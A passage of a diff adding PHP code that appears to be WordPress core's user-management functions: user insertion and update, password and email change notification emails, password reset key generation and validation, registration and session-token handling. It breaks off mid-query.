+		} elseif ( $meta['first_name'] ) {
+			$display_name = $meta['first_name'];
+		} elseif ( $meta['last_name'] ) {
+			$display_name = $meta['last_name'];
+		} else {
+			$display_name = $user_login;
+		}
+	} else {
+		$display_name = $userdata['display_name'];
+	}
+
+	/**
+	 * Filters a user's display name before the user is created or updated.
+	 *
+	 * @since 2.0.3
+	 *
+	 * @param string $display_name The user's display name.
+	 */
+	$display_name = apply_filters( 'pre_user_display_name', $display_name );
+
+	$description = empty( $userdata['description'] ) ? '' : $userdata['description'];
+
+	/**
+	 * Filters a user's description before the user is created or updated.
+	 *
+	 * @since 2.0.3
+	 *
+	 * @param string $description The user's description.
+	 */
+	$meta['description'] = apply_filters( 'pre_user_description', $description );
+
+	$meta['rich_editing'] = empty( $userdata['rich_editing'] ) ? 'true' : $userdata['rich_editing'];
+
+	$meta['syntax_highlighting'] = empty( $userdata['syntax_highlighting'] ) ? 'true' : $userdata['syntax_highlighting'];
+
+	$meta['comment_shortcuts'] = empty( $userdata['comment_shortcuts'] ) || 'false' === $userdata['comment_shortcuts'] ? 'false' : 'true';
+
+	$admin_color = empty( $userdata['admin_color'] ) ? 'fresh' : $userdata['admin_color'];
+	$meta['admin_color'] = preg_replace( '|[^a-z0-9 _.\-@]|i', '', $admin_color );
+
+	$meta['use_ssl'] = empty( $userdata['use_ssl'] ) ? 0 : $userdata['use_ssl'];
+
+	$user_registered = empty( $userdata['user_registered'] ) ? gmdate( 'Y-m-d H:i:s' ) : $userdata['user_registered'];
+
+	$meta['show_admin_bar_front'] = empty( $userdata['show_admin_bar_front'] ) ? 'true' : $userdata['show_admin_bar_front'];
+
+	$meta['locale'] = isset( $userdata['locale'] ) ? $userdata['locale'] : '';
+
+	$user_nicename_check = $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->users WHERE user_nicename = %s AND user_login != %s LIMIT 1" , $user_nicename, $user_login));
+
+	if ( $user_nicename_check ) {
+		$suffix = 2;
+		while ($user_nicename_check) {
+			// user_nicename allows 50 chars. Subtract one for a hyphen, plus the length of the suffix.
+			$base_length = 49 - mb_strlen( $suffix );
+			$alt_user_nicename = mb_substr( $user_nicename, 0, $base_length ) . "-$suffix";
+			$user_nicename_check = $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->users WHERE user_nicename = %s AND user_login != %s LIMIT 1" , $alt_user_nicename, $user_login));
+			$suffix++;
+		}
+		$user_nicename = $alt_user_nicename;
+	}
+
+	$compacted = compact( 'user_pass', 'user_email', 'user_url', 'user_nicename', 'display_name', 'user_registered' );
+	$data = wp_unslash( $compacted );
+
+	if ( ! $update ) {
+		$data = $data + compact( 'user_login' );
+	}
+
+	/**
+	 * Filters user data before the record is created or updated.
+	 *
+	 * It only includes data in the wp_users table wp_user, not any user metadata.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param array    $data {
+	 *     Values and keys for the user.
+	 *
+	 *     @type string $user_login      The user's login. Only included if $update == false
+	 *     @type string $user_pass       The user's password.
+	 *     @type string $user_email      The user's email.
+	 *     @type string $user_url        The user's url.
+	 *     @type string $user_nicename   The user's nice name. Defaults to a URL-safe version of user's login
+	 *     @type string $display_name    The user's display name.
+	 *     @type string $user_registered MySQL timestamp describing the moment when the user registered. Defaults to
+	 *                                   the current UTC timestamp.
+	 * }
+	 * @param bool     $update Whether the user is being updated rather than created.
+	 * @param int|null $id     ID of the user to be updated, or NULL if the user is being created.
+	 */
+	$data = apply_filters( 'wp_pre_insert_user_data', $data, $update, $update ? (int) $ID : null );
+
+	if ( $update ) {
+		if ( $user_email !== $old_user_data->user_email || $user_pass !== $old_user_data->user_pass ) {
+			$data['user_activation_key'] = '';
+		}
+		$wpdb->update( $wpdb->users, $data, compact( 'ID' ) );
+		$user_id = (int) $ID;
+	} else {
+		$wpdb->insert( $wpdb->users, $data );
+		$user_id = (int) $wpdb->insert_id;
+	}
+
+	$user = new WP_User( $user_id );
+
+	/**
+ 	 * Filters a user's meta values and keys immediately after the user is created or updated
+ 	 * and before any user meta is inserted or updated.
+ 	 *
+ 	 * Does not include contact methods. These are added using `wp_get_user_contact_methods( $user )`.
+ 	 *
+ 	 * @since 4.4.0
+ 	 *
+ 	 * @param array $meta {
+ 	 *     Default meta values and keys for the user.
+ 	 *
+ 	 *     @type string   $nickname             The user's nickname. Default is the user's username.
+	 *     @type string   $first_name           The user's first name.
+	 *     @type string   $last_name            The user's last name.
+	 *     @type string   $description          The user's description.
+	 *     @type bool     $rich_editing         Whether to enable the rich-editor for the user. False if not empty.
+	 *     @type bool     $syntax_highlighting  Whether to enable the rich code editor for the user. False if not empty.
+	 *     @type bool     $comment_shortcuts    Whether to enable keyboard shortcuts for the user. Default false.
+	 *     @type string   $admin_color          The color scheme for a user's admin screen. Default 'fresh'.
+	 *     @type int|bool $use_ssl              Whether to force SSL on the user's admin area. 0|false if SSL is
+	 *                                          not forced.
+	 *     @type bool     $show_admin_bar_front Whether to show the admin bar on the front end for the user.
+	 *                                          Default true.
+ 	 * }
+	 * @param WP_User $user   User object.
+	 * @param bool    $update Whether the user is being updated rather than created.
+ 	 */
+	$meta = apply_filters( 'insert_user_meta', $meta, $user, $update );
+
+	// Update user meta.
+	foreach ( $meta as $key => $value ) {
+		update_user_meta( $user_id, $key, $value );
+	}
+
+	foreach ( wp_get_user_contact_methods( $user ) as $key => $value ) {
+		if ( isset( $userdata[ $key ] ) ) {
+			update_user_meta( $user_id, $key, $userdata[ $key ] );
+		}
+	}
+
+	if ( isset( $userdata['role'] ) ) {
+		$user->set_role( $userdata['role'] );
+	} elseif ( ! $update ) {
+		$user->set_role(get_option('default_role'));
+	}
+	wp_cache_delete( $user_id, 'users' );
+	wp_cache_delete( $user_login, 'userlogins' );
+
+	if ( $update ) {
+		/**
+		 * Fires immediately after an existing user is updated.
+		 *
+		 * @since 2.0.0
+		 *
+		 * @param int     $user_id       User ID.
+		 * @param WP_User $old_user_data Object containing user's data prior to update.
+		 */
+		do_action( 'profile_update', $user_id, $old_user_data );
+	} else {
+		/**
+		 * Fires immediately after a new user is registered.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param int $user_id User ID.
+		 */
+		do_action( 'user_register', $user_id );
+	}
+
+	return $user_id;
+}
+
+/**
+ * Update a user in the database.
+ *
+ * It is possible to update a user's password by specifying the 'user_pass'
+ * value in the $userdata parameter array.
+ *
+ * If current user's password is being updated, then the cookies will be
+ * cleared.
+ *
+ * @since 2.0.0
+ *
+ * @see wp_insert_user() For what fields can be set in $userdata.
+ *
+ * @param object|WP_User $userdata An array of user data or a user object of type stdClass or WP_User.
+ * @return int|WP_Error The updated user's ID or a WP_Error object if the user could not be updated.
+ */
+function wp_update_user($userdata) {
+	if ( $userdata instanceof stdClass ) {
+		$userdata = get_object_vars( $userdata );
+	} elseif ( $userdata instanceof WP_User ) {
+		$userdata = $userdata->to_array();
+	}
+
+	$ID = isset( $userdata['ID'] ) ? (int) $userdata['ID'] : 0;
+	if ( ! $ID ) {
+		return new WP_Error( 'invalid_user_id', __( 'Invalid user ID.' ) );
+	}
+
+	// First, get all of the original fields
+	$user_obj = get_userdata( $ID );
+	if ( ! $user_obj ) {
+		return new WP_Error( 'invalid_user_id', __( 'Invalid user ID.' ) );
+	}
+
+	$user = $user_obj->to_array();
+
+	// Add additional custom fields
+	foreach ( _get_additional_user_keys( $user_obj ) as $key ) {
+		$user[ $key ] = get_user_meta( $ID, $key, true );
+	}
+
+	// Escape data pulled from DB.
+	$user = add_magic_quotes( $user );
+
+	if ( ! empty( $userdata['user_pass'] ) && $userdata['user_pass'] !== $user_obj->user_pass ) {
+		// If password is changing, hash it now
+		$plaintext_pass = $userdata['user_pass'];
+		$userdata['user_pass'] = wp_hash_password( $userdata['user_pass'] );
+
+		/**
+		 * Filters whether to send the password change email.
+		 *
+		 * @since 4.3.0
+		 *
+		 * @see wp_insert_user() For `$user` and `$userdata` fields.
+		 *
+		 * @param bool  $send     Whether to send the email.
+		 * @param array $user     The original user array.
+		 * @param array $userdata The updated user array.
+		 *
+		 */
+		$send_password_change_email = apply_filters( 'send_password_change_email', true, $user, $userdata );
+	}
+
+	if ( isset( $userdata['user_email'] ) && $user['user_email'] !== $userdata['user_email'] ) {
+		/**
+		 * Filters whether to send the email change email.
+		 *
+		 * @since 4.3.0
+		 *
+		 * @see wp_insert_user() For `$user` and `$userdata` fields.
+		 *
+		 * @param bool  $send     Whether to send the email.
+		 * @param array $user     The original user array.
+		 * @param array $userdata The updated user array.
+		 *
+		 */
+		$send_email_change_email = apply_filters( 'send_email_change_email', true, $user, $userdata );
+	}
+
+	wp_cache_delete( $user['user_email'], 'useremail' );
+	wp_cache_delete( $user['user_nicename'], 'userslugs' );
+
+	// Merge old and new fields with new fields overwriting old ones.
+	$userdata = array_merge( $user, $userdata );
+	$user_id = wp_insert_user( $userdata );
+
+	if ( ! is_wp_error( $user_id ) ) {
+
+		$blog_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
+
+		$switched_locale = false;
+		if ( ! empty( $send_password_change_email ) || ! empty( $send_email_change_email ) ) {
+			$switched_locale = switch_to_locale( get_user_locale( $user_id ) );
+		}
+
+		if ( ! empty( $send_password_change_email ) ) {
+			/* translators: Do not translate USERNAME, ADMIN_EMAIL, EMAIL, SITENAME, SITEURL: those are placeholders. */
+			$pass_change_text = __( 'Hi ###USERNAME###,
+
+This notice confirms that your password was changed on ###SITENAME###.
+
+If you did not change your password, please contact the Site Administrator at
+###ADMIN_EMAIL###
+
+This email has been sent to ###EMAIL###
+
+Regards,
+All at ###SITENAME###
+###SITEURL###' );
+
+			$pass_change_email = array(
+				'to'      => $user['user_email'],
+				/* translators: User password change notification email subject. 1: Site name */
+				'subject' => __( '[%s] Notice of Password Change' ),
+				'message' => $pass_change_text,
+				'headers' => '',
+			);
+
+			/**
+			 * Filters the contents of the email sent when the user's password is changed.
+			 *
+			 * @since 4.3.0
+			 *
+			 * @param array $pass_change_email {
+			 *            Used to build wp_mail().
+			 *            @type string $to      The intended recipients. Add emails in a comma separated string.
+			 *            @type string $subject The subject of the email.
+			 *            @type string $message The content of the email.
+			 *                The following strings have a special meaning and will get replaced dynamically:
+			 *                - ###USERNAME###    The current user's username.
+			 *                - ###ADMIN_EMAIL### The admin email in case this was unexpected.
+			 *                - ###EMAIL###       The user's email address.
+			 *                - ###SITENAME###    The name of the site.
+			 *                - ###SITEURL###     The URL to the site.
+			 *            @type string $headers Headers. Add headers in a newline (\r\n) separated string.
+			 *        }
+			 * @param array $user     The original user array.
+			 * @param array $userdata The updated user array.
+			 *
+			 */
+			$pass_change_email = apply_filters( 'password_change_email', $pass_change_email, $user, $userdata );
+
+			$pass_change_email['message'] = str_replace( '###USERNAME###', $user['user_login'], $pass_change_email['message'] );
+			$pass_change_email['message'] = str_replace( '###ADMIN_EMAIL###', get_option( 'admin_email' ), $pass_change_email['message'] );
+			$pass_change_email['message'] = str_replace( '###EMAIL###', $user['user_email'], $pass_change_email['message'] );
+			$pass_change_email['message'] = str_replace( '###SITENAME###', $blog_name, $pass_change_email['message'] );
+			$pass_change_email['message'] = str_replace( '###SITEURL###', home_url(), $pass_change_email['message'] );
+
+			wp_mail( $pass_change_email['to'], sprintf( $pass_change_email['subject'], $blog_name ), $pass_change_email['message'], $pass_change_email['headers'] );
+		}
+
+		if ( ! empty( $send_email_change_email ) ) {
+			/* translators: Do not translate USERNAME, ADMIN_EMAIL, NEW_EMAIL, EMAIL, SITENAME, SITEURL: those are placeholders. */
+			$email_change_text = __( 'Hi ###USERNAME###,
+
+This notice confirms that your email address on ###SITENAME### was changed to ###NEW_EMAIL###.
+
+If you did not change your email, please contact the Site Administrator at
+###ADMIN_EMAIL###
+
+This email has been sent to ###EMAIL###
+
+Regards,
+All at ###SITENAME###
+###SITEURL###' );
+
+			$email_change_email = array(
+				'to'      => $user['user_email'],
+				/* translators: User email change notification email subject. 1: Site name */
+				'subject' => __( '[%s] Notice of Email Change' ),
+				'message' => $email_change_text,
+				'headers' => '',
+			);
+
+			/**
+			 * Filters the contents of the email sent when the user's email is changed.
+			 *
+			 * @since 4.3.0
+			 *
+			 * @param array $email_change_email {
+			 *            Used to build wp_mail().
+			 *            @type string $to      The intended recipients.
+			 *            @type string $subject The subject of the email.
+			 *            @type string $message The content of the email.
+			 *                The following strings have a special meaning and will get replaced dynamically:
+			 *                - ###USERNAME###    The current user's username.
+			 *                - ###ADMIN_EMAIL### The admin email in case this was unexpected.
+			 *                - ###NEW_EMAIL###   The new email address.
+			 *                - ###EMAIL###       The old email address.
+			 *                - ###SITENAME###    The name of the site.
+			 *                - ###SITEURL###     The URL to the site.
+			 *            @type string $headers Headers.
+			 *        }
+			 * @param array $user The original user array.
+			 * @param array $userdata The updated user array.
+			 */
+			$email_change_email = apply_filters( 'email_change_email', $email_change_email, $user, $userdata );
+
+			$email_change_email['message'] = str_replace( '###USERNAME###', $user['user_login'], $email_change_email['message'] );
+			$email_change_email['message'] = str_replace( '###ADMIN_EMAIL###', get_option( 'admin_email' ), $email_change_email['message'] );
+			$email_change_email['message'] = str_replace( '###NEW_EMAIL###', $userdata['user_email'], $email_change_email['message'] );
+			$email_change_email['message'] = str_replace( '###EMAIL###', $user['user_email'], $email_change_email['message'] );
+			$email_change_email['message'] = str_replace( '###SITENAME###', $blog_name, $email_change_email['message'] );
+			$email_change_email['message'] = str_replace( '###SITEURL###', home_url(), $email_change_email['message'] );
+
+			wp_mail( $email_change_email['to'], sprintf( $email_change_email['subject'], $blog_name ), $email_change_email['message'], $email_change_email['headers'] );
+		}
+
+		if ( $switched_locale ) {
+			restore_previous_locale();
+		}
+	}
+
+	// Update the cookies if the password changed.
+	$current_user = wp_get_current_user();
+	if ( $current_user->ID == $ID ) {
+		if ( isset($plaintext_pass) ) {
+			wp_clear_auth_cookie();
+
+			// Here we calculate the expiration length of the current auth cookie and compare it to the default expiration.
+			// If it's greater than this, then we know the user checked 'Remember Me' when they logged in.
+			$logged_in_cookie    = wp_parse_auth_cookie( '', 'logged_in' );
+			/** This filter is documented in wp-includes/pluggable.php */
+			$default_cookie_life = apply_filters( 'auth_cookie_expiration', ( 2 * DAY_IN_SECONDS ), $ID, false );
+			$remember            = ( ( $logged_in_cookie['expiration'] - time() ) > $default_cookie_life );
+
+			wp_set_auth_cookie( $ID, $remember );
+		}
+	}
+
+	return $user_id;
+}
+
+/**
+ * A simpler way of inserting a user into the database.
+ *
+ * Creates a new user with just the username, password, and email. For more
+ * complex user creation use wp_insert_user() to specify more information.
+ *
+ * @since 2.0.0
+ * @see wp_insert_user() More complete way to create a new user
+ *
+ * @param string $username The user's username.
+ * @param string $password The user's password.
+ * @param string $email    Optional. The user's email. Default empty.
+ * @return int|WP_Error The newly created user's ID or a WP_Error object if the user could not
+ *                      be created.
+ */
+function wp_create_user($username, $password, $email = '') {
+	$user_login = wp_slash( $username );
+	$user_email = wp_slash( $email    );
+	$user_pass = $password;
+
+	$userdata = compact('user_login', 'user_email', 'user_pass');
+	return wp_insert_user($userdata);
+}
+
+/**
+ * Returns a list of meta keys to be (maybe) populated in wp_update_user().
+ *
+ * The list of keys returned via this function are dependent on the presence
+ * of those keys in the user meta data to be set.
+ *
+ * @since 3.3.0
+ * @access private
+ *
+ * @param WP_User $user WP_User instance.
+ * @return array List of user keys to be populated in wp_update_user().
+ */
+function _get_additional_user_keys( $user ) {
+	$keys = array( 'first_name', 'last_name', 'nickname', 'description', 'rich_editing', 'syntax_highlighting', 'comment_shortcuts', 'admin_color', 'use_ssl', 'show_admin_bar_front', 'locale' );
+	return array_merge( $keys, array_keys( wp_get_user_contact_methods( $user ) ) );
+}
+
+/**
+ * Set up the user contact methods.
+ *
+ * Default contact methods were removed in 3.6. A filter dictates contact methods.
+ *
+ * @since 3.7.0
+ *
+ * @param WP_User $user Optional. WP_User object.
+ * @return array Array of contact methods and their labels.
+ */
+function wp_get_user_contact_methods( $user = null ) {
+	$methods = array();
+	if ( get_site_option( 'initial_db_version' ) < 23588 ) {
+		$methods = array(
+			'aim'    => __( 'AIM' ),
+			'yim'    => __( 'Yahoo IM' ),
+			'jabber' => __( 'Jabber / Google Talk' )
+		);
+	}
+
+	/**
+	 * Filters the user contact methods.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param array   $methods Array of contact methods and their labels.
+ 	 * @param WP_User $user    WP_User object.
+	 */
+	return apply_filters( 'user_contactmethods', $methods, $user );
+}
+
+/**
+ * The old private function for setting up user contact methods.
+ *
+ * Use wp_get_user_contact_methods() instead.
+ *
+ * @since 2.9.0
+ * @access private
+ *
+ * @param WP_User $user Optional. WP_User object. Default null.
+ * @return array Array of contact methods and their labels.
+ */
+function _wp_get_user_contactmethods( $user = null ) {
+	return wp_get_user_contact_methods( $user );
+}
+
+/**
+ * Gets the text suggesting how to create strong passwords.
+ *
+ * @since 4.1.0
+ *
+ * @return string The password hint text.
+ */
+function wp_get_password_hint() {
+	$hint = __( 'Hint: The password should be at least twelve characters long. To make it stronger, use upper and lower case letters, numbers, and symbols like ! " ? $ % ^ &amp; ).' );
+
+	/**
+	 * Filters the text describing the site's password complexity policy.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param string $hint The password hint text.
+	 */
+	return apply_filters( 'password_hint', $hint );
+}
+
+/**
+ * Creates, stores, then returns a password reset key for user.
+ *
+ * @since 4.4.0
+ *
+ * @global wpdb         $wpdb      WordPress database abstraction object.
+ * @global PasswordHash $wp_hasher Portable PHP password hashing framework.
+ *
+ * @param WP_User $user User to retrieve password reset key for.
+ *
+ * @return string|WP_Error Password reset key on success. WP_Error on error.
+ */
+function get_password_reset_key( $user ) {
+	global $wpdb, $wp_hasher;
+
+	/**
+	 * Fires before a new password is retrieved.
+	 *
+	 * Use the {@see 'retrieve_password'} hook instead.
+	 *
+	 * @since 1.5.0
+	 * @deprecated 1.5.1 Misspelled. Use 'retrieve_password' hook instead.
+	 *
+	 * @param string $user_login The user login name.
+	 */
+	do_action( 'retreive_password', $user->user_login );
+
+	/**
+	 * Fires before a new password is retrieved.
+	 *
+	 * @since 1.5.1
+	 *
+	 * @param string $user_login The user login name.
+	 */
+	do_action( 'retrieve_password', $user->user_login );
+
+	$allow = true;
+	if ( is_multisite() && is_user_spammy( $user ) ) {
+		$allow = false;
+	}
+
+	/**
+	 * Filters whether to allow a password to be reset.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param bool $allow         Whether to allow the password to be reset. Default true.
+	 * @param int  $user_data->ID The ID of the user attempting to reset a password.
+	 */
+	$allow = apply_filters( 'allow_password_reset', $allow, $user->ID );
+
+	if ( ! $allow ) {
+		return new WP_Error( 'no_password_reset', __( 'Password reset is not allowed for this user' ) );
+	} elseif ( is_wp_error( $allow ) ) {
+		return $allow;
+	}
+
+	// Generate something random for a password reset key.
+	$key = wp_generate_password( 20, false );
+
+	/**
+	 * Fires when a password reset key is generated.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $user_login The username for the user.
+	 * @param string $key        The generated password reset key.
+	 */
+	do_action( 'retrieve_password_key', $user->user_login, $key );
+
+	// Now insert the key, hashed, into the DB.
+	if ( empty( $wp_hasher ) ) {
+		require_once ABSPATH . WPINC . '/class-phpass.php';
+		$wp_hasher = new PasswordHash( 8, true );
+	}
+	$hashed = time() . ':' . $wp_hasher->HashPassword( $key );
+	$key_saved = $wpdb->update( $wpdb->users, array( 'user_activation_key' => $hashed ), array( 'user_login' => $user->user_login ) );
+	if ( false === $key_saved ) {
+		return new WP_Error( 'no_password_key_update', __( 'Could not save password reset key to database.' ) );
+	}
+
+	return $key;
+}
+
+/**
+ * Retrieves a user row based on password reset key and login
+ *
+ * A key is considered 'expired' if it exactly matches the value of the
+ * user_activation_key field, rather than being matched after going through the
+ * hashing process. This field is now hashed; old values are no longer accepted
+ * but have a different WP_Error code so good user feedback can be provided.
+ *
+ * @since 3.1.0
+ *
+ * @global wpdb         $wpdb      WordPress database object for queries.
+ * @global PasswordHash $wp_hasher Portable PHP password hashing framework instance.
+ *
+ * @param string $key       Hash to validate sending user's password.
+ * @param string $login     The user login.
+ * @return WP_User|WP_Error WP_User object on success, WP_Error object for invalid or expired keys.
+ */
+function check_password_reset_key($key, $login) {
+	global $wpdb, $wp_hasher;
+
+	$key = preg_replace('/[^a-z0-9]/i', '', $key);
+
+	if ( empty( $key ) || !is_string( $key ) )
+		return new WP_Error('invalid_key', __('Invalid key'));
+
+	if ( empty($login) || !is_string($login) )
+		return new WP_Error('invalid_key', __('Invalid key'));
+
+	$row = $wpdb->get_row( $wpdb->prepare( "SELECT ID, user_activation_key FROM $wpdb->users WHERE user_login = %s", $login ) );
+	if ( ! $row )
+		return new WP_Error('invalid_key', __('Invalid key'));
+
+	if ( empty( $wp_hasher ) ) {
+		require_once ABSPATH . WPINC . '/class-phpass.php';
+		$wp_hasher = new PasswordHash( 8, true );
+	}
+
+	/**
+	 * Filters the expiration time of password reset keys.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param int $expiration The expiration time in seconds.
+	 */
+	$expiration_duration = apply_filters( 'password_reset_expiration', DAY_IN_SECONDS );
+
+	if ( false !== strpos( $row->user_activation_key, ':' ) ) {
+		list( $pass_request_time, $pass_key ) = explode( ':', $row->user_activation_key, 2 );
+		$expiration_time = $pass_request_time + $expiration_duration;
+	} else {
+		$pass_key = $row->user_activation_key;
+		$expiration_time = false;
+	}
+
+	if ( ! $pass_key ) {
+		return new WP_Error( 'invalid_key', __( 'Invalid key' ) );
+	}
+
+	$hash_is_correct = $wp_hasher->CheckPassword( $key, $pass_key );
+
+	if ( $hash_is_correct && $expiration_time && time() < $expiration_time ) {
+		return get_userdata( $row->ID );
+	} elseif ( $hash_is_correct && $expiration_time ) {
+		// Key has an expiration time that's passed
+		return new WP_Error( 'expired_key', __( 'Invalid key' ) );
+	}
+
+	if ( hash_equals( $row->user_activation_key, $key ) || ( $hash_is_correct && ! $expiration_time ) ) {
+		$return = new WP_Error( 'expired_key', __( 'Invalid key' ) );
+		$user_id = $row->ID;
+
+		/**
+		 * Filters the return value of check_password_reset_key() when an
+		 * old-style key is used.
+		 *
+		 * @since 3.7.0 Previously plain-text keys were stored in the database.
+		 * @since 4.3.0 Previously key hashes were stored without an expiration time.
+		 *
+		 * @param WP_Error $return  A WP_Error object denoting an expired key.
+		 *                          Return a WP_User object to validate the key.
+		 * @param int      $user_id The matched user ID.
+		 */
+		return apply_filters( 'password_reset_key_expired', $return, $user_id );
+	}
+
+	return new WP_Error( 'invalid_key', __( 'Invalid key' ) );
+}
+
+/**
+ * Handles resetting the user's password.
+ *
+ * @since 2.5.0
+ *
+ * @param WP_User $user     The user
+ * @param string $new_pass New password for the user in plaintext
+ */
+function reset_password( $user, $new_pass ) {
+	/**
+	 * Fires before the user's password is reset.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param object $user     The user.
+	 * @param string $new_pass New user password.
+	 */
+	do_action( 'password_reset', $user, $new_pass );
+
+	wp_set_password( $new_pass, $user->ID );
+	update_user_option( $user->ID, 'default_password_nag', false, true );
+
+	/**
+	 * Fires after the user's password is reset.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param WP_User $user     The user.
+	 * @param string  $new_pass New user password.
+	 */
+	do_action( 'after_password_reset', $user, $new_pass );
+}
+
+/**
+ * Handles registering a new user.
+ *
+ * @since 2.5.0
+ *
+ * @param string $user_login User's username for logging in
+ * @param string $user_email User's email address to send password and add
+ * @return int|WP_Error Either user's ID or error on failure.
+ */
+function register_new_user( $user_login, $user_email ) {
+	$errors = new WP_Error();
+
+	$sanitized_user_login = sanitize_user( $user_login );
+	/**
+	 * Filters the email address of a user being registered.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $user_email The email address of the new user.
+	 */
+	$user_email = apply_filters( 'user_registration_email', $user_email );
+
+	// Check the username
+	if ( $sanitized_user_login == '' ) {
+		$errors->add( 'empty_username', __( '<strong>ERROR</strong>: Please enter a username.' ) );
+	} elseif ( ! validate_username( $user_login ) ) {
+		$errors->add( 'invalid_username', __( '<strong>ERROR</strong>: This username is invalid because it uses illegal characters. Please enter a valid username.' ) );
+		$sanitized_user_login = '';
+	} elseif ( username_exists( $sanitized_user_login ) ) {
+		$errors->add( 'username_exists', __( '<strong>ERROR</strong>: This username is already registered. Please choose another one.' ) );
+
+	} else {
+		/** This filter is documented in wp-includes/user.php */
+		$illegal_user_logins = array_map( 'strtolower', (array) apply_filters( 'illegal_user_logins', array() ) );
+		if ( in_array( strtolower( $sanitized_user_login ), $illegal_user_logins ) ) {
+			$errors->add( 'invalid_username', __( '<strong>ERROR</strong>: Sorry, that username is not allowed.' ) );
+		}
+	}
+
+	// Check the email address
+	if ( $user_email == '' ) {
+		$errors->add( 'empty_email', __( '<strong>ERROR</strong>: Please type your email address.' ) );
+	} elseif ( ! is_email( $user_email ) ) {
+		$errors->add( 'invalid_email', __( '<strong>ERROR</strong>: The email address isn&#8217;t correct.' ) );
+		$user_email = '';
+	} elseif ( email_exists( $user_email ) ) {
+		$errors->add( 'email_exists', __( '<strong>ERROR</strong>: This email is already registered, please choose another one.' ) );
+	}
+
+	/**
+	 * Fires when submitting registration form data, before the user is created.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string   $sanitized_user_login The submitted username after being sanitized.
+	 * @param string   $user_email           The submitted email.
+	 * @param WP_Error $errors               Contains any errors with submitted username and email,
+	 *                                       e.g., an empty field, an invalid username or email,
+	 *                                       or an existing username or email.
+	 */
+	do_action( 'register_post', $sanitized_user_login, $user_email, $errors );
+
+	/**
+	 * Filters the errors encountered when a new user is being registered.
+	 *
+	 * The filtered WP_Error object may, for example, contain errors for an invalid
+	 * or existing username or email address. A WP_Error object should always returned,
+	 * but may or may not contain errors.
+	 *
+	 * If any errors are present in $errors, this will abort the user's registration.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param WP_Error $errors               A WP_Error object containing any errors encountered
+	 *                                       during registration.
+	 * @param string   $sanitized_user_login User's username after it has been sanitized.
+	 * @param string   $user_email           User's email.
+	 */
+	$errors = apply_filters( 'registration_errors', $errors, $sanitized_user_login, $user_email );
+
+	if ( $errors->get_error_code() )
+		return $errors;
+
+	$user_pass = wp_generate_password( 12, false );
+	$user_id = wp_create_user( $sanitized_user_login, $user_pass, $user_email );
+	if ( ! $user_id || is_wp_error( $user_id ) ) {
+		$errors->add( 'registerfail', sprintf( __( '<strong>ERROR</strong>: Couldn&#8217;t register you&hellip; please contact the <a href="mailto:%s">webmaster</a> !' ), get_option( 'admin_email' ) ) );
+		return $errors;
+	}
+
+	update_user_option( $user_id, 'default_password_nag', true, true ); //Set up the Password change nag.
+
+	/**
+	 * Fires after a new user registration has been recorded.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param int $user_id ID of the newly registered user.
+	 */
+	do_action( 'register_new_user', $user_id );
+
+	return $user_id;
+}
+
+/**
+ * Initiates email notifications related to the creation of new users.
+ *
+ * Notifications are sent both to the site admin and to the newly created user.
+ *
+ * @since 4.4.0
+ * @since 4.6.0 Converted the `$notify` parameter to accept 'user' for sending
+ *              notifications only to the user created.
+ *
+ * @param int    $user_id ID of the newly created user.
+ * @param string $notify  Optional. Type of notification that should happen. Accepts 'admin'
+ *                        or an empty string (admin only), 'user', or 'both' (admin and user).
+ *                        Default 'both'.
+ */
+function wp_send_new_user_notifications( $user_id, $notify = 'both' ) {
+	wp_new_user_notification( $user_id, null, $notify );
+}
+
+/**
+ * Retrieve the current session token from the logged_in cookie.
+ *
+ * @since 4.0.0
+ *
+ * @return string Token.
+ */
+function wp_get_session_token() {
+	$cookie = wp_parse_auth_cookie( '', 'logged_in' );
+	return ! empty( $cookie['token'] ) ? $cookie['token'] : '';
+}
+
+/**
+ * Retrieve a list of sessions for the current user.
+ *
+ * @since 4.0.0
+ * @return array Array of sessions.
+ */
+function wp_get_all_sessions() {
+	$manager = WP_Session_Tokens::get_instance( get_current_user_id() );
+	return $manager->get_all();
+}
+
+/**
+ * Remove the current session token from the database.
+ *
+ * @since 4.0.0
+ */
+function wp_destroy_current_session() {
+	$token = wp_get_session_token();
+	if ( $token ) {
+		$manager = WP_Session_Tokens::get_instance( get_current_user_id() );
+		$manager->destroy( $token );
+	}
+}
+
+/**
+ * Remove all but the current session token for the current user for the database.
+ *
+ * @since 4.0.0
+ */
+function wp_destroy_other_sessions() {
+	$token = wp_get_session_token();
+	if ( $token ) {
+		$manager = WP_Session_Tokens::get_instance( get_current_user_id() );
+		$manager->destroy_others( $token );
+	}
+}
+
+/**
+ * Remove all session tokens for the current user from the database.
+ *
+ * @since 4.0.0
+ */
+function wp_destroy_all_sessions() {
+	$manager = WP_Session_Tokens::get_instance( get_current_user_id() );
+	$manager->destroy_all();
+}
+
+/**
+ * Get the user IDs of all users with no role on this site.
+ *
+ * @since 4.4.0
+ * @since 4.9.0 The `$site_id` parameter was added to support multisite.
+ *
+ * @param int|null $site_id Optional. The site ID to get users with no role for. Defaults to the current site.
+ * @return array Array of user IDs.
+ */
+function wp_get_users_with_no_role( $site_id = null ) {
+	global $wpdb;
+
+	if ( ! $site_id ) {
+		$site_id = get_current_blog_id();
+	}
+
+	$prefix = $wpdb->get_blog_prefix( $site_id );
+
+	if ( is_multisite() && $site_id != get_current_blog_id() ) {
+		switch_to_blog( $site_id );
+		$role_names = wp_roles()->get_names();
+		restore_current_blog();
+	} else {
+		$role_names = wp_roles()->get_names();
+	}
+
+	$regex  = implode( '|', array_keys( $role_names ) );
+	$regex  = preg_replace( '/[^a-zA-Z_\|-]/', '', $regex );
+	$users  = $wpdb->get_col( $wpdb->prepare( "
+		SELECT user_id
+		FROM $wpdb->usermeta
+		WHERE meta_key = '{$prefix}capabilities'
